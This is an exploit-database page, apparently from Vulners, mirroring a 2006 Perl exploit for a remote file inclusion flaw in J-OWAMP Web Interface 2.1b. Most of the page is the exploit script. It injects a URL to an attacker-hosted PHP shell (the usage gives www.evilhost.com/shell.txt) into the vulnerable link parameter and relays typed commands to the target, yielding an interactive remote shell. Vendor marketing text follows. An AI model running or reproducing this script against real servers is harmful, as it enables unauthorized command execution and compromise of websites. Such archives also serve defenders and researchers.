Lucene search
K

J-OWAMP Web Interface <= 2.1b (link) Remote File Include Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

J-OWAMP Web Interface <= 2.1b Remote File Include Vulnerability - Exploi

Code

                                                #!/usr/bin/perl
#  Jowamp  WebInterface v 2.1 Remote File Inclusion Vulnerablity
# Vulnerability found & Exploit [c]oded By Dr Max Virus
# Download:http://www.av.it.pt/jowamp/index_files/JOWAMP_WebInterface_version_2_1.zip
# User Must Be Logged In!
# In a web browser open the page http://localhost/jowamp/login/register.php to register new users. 


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
       usg()
}
header();


while()
{
print &#34;[Shell] \$&#34;;
while (&#60;STDIN&#62;)
{
       $cmd=$_;
       chomp($cmd);

$xpl = LWP::UserAgent-&#62;new() or die;
$req =
HTTP::Request-&#62;new(GET=&#62;$target.&#39;/JOWAMP_files/JOWAMP_ShowPage.php?link=&#39;.$shellsite=&#39;.?&&#39;.$cmdv.&#39;=&#39;.$cmd)or
die &#34;\n\n Failed to Connect, Try again!\n&#34;;
$res = $xpl-&#62;request($req);
# The response of the server to the GET request we sent is stored in the
$info variable
$info = $res-&#62;content;
$info =~ tr/[\n]/[&#234;]/;


if (!$cmd) {
print &#34;\nEnter a Command\n\n&#34;; $info =&#34;&#34;;
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in &#60;b&#62;/)
{
print &#34;\nCould Not Connect to cmd Host or Invalid Command Variable\n&#34;;
exit;
}


elsif ($info =~/^&#60;br.\/&#62;.&#60;b&#62;Warning/) {
print &#34;\nInvalid Command\n\n&#34;;
};


if($info =~ /(.+)&#60;br.\/&#62;.&#60;b&#62;Warning.(.+)&#60;br.\/&#62;.&#60;b&#62;Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print &#34;\n$final\n&#34;;
last;
}

else {
print &#34;[shell] \$&#34;;
}
}
}
last;


#Sub-Rountines
sub header()
{
print q{
********************************************************************************
Jowamp WebInterface v2.1  -- Remote Include Exploit

Vulnerablity found by: Dr Max Virus

Exploit [c]oded by: Dr Max Virus
********************************************************************************
}
}
sub usg()
{
header();
print q{
Usage: perl exploit.pl &#60;jowamp fullpath&#62; &#60;Shell Location&#62; &#60;Shell Cmd&#62;

&#60;phorum-3.4.8a FULL PATH&#62; - Path to site exp. www.site.com

&#60;Shell Location&#62; - Path to shell exp. www.evilhost.com/shell.txt

&#60;Shell Cmd Variable&#62; - Command variable for php shell

Example: perl exploit.pl http://www.site.com/jowamp/
**********************************************************************************
};

exit();
}

# milw0rm.com [2006-12-07]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation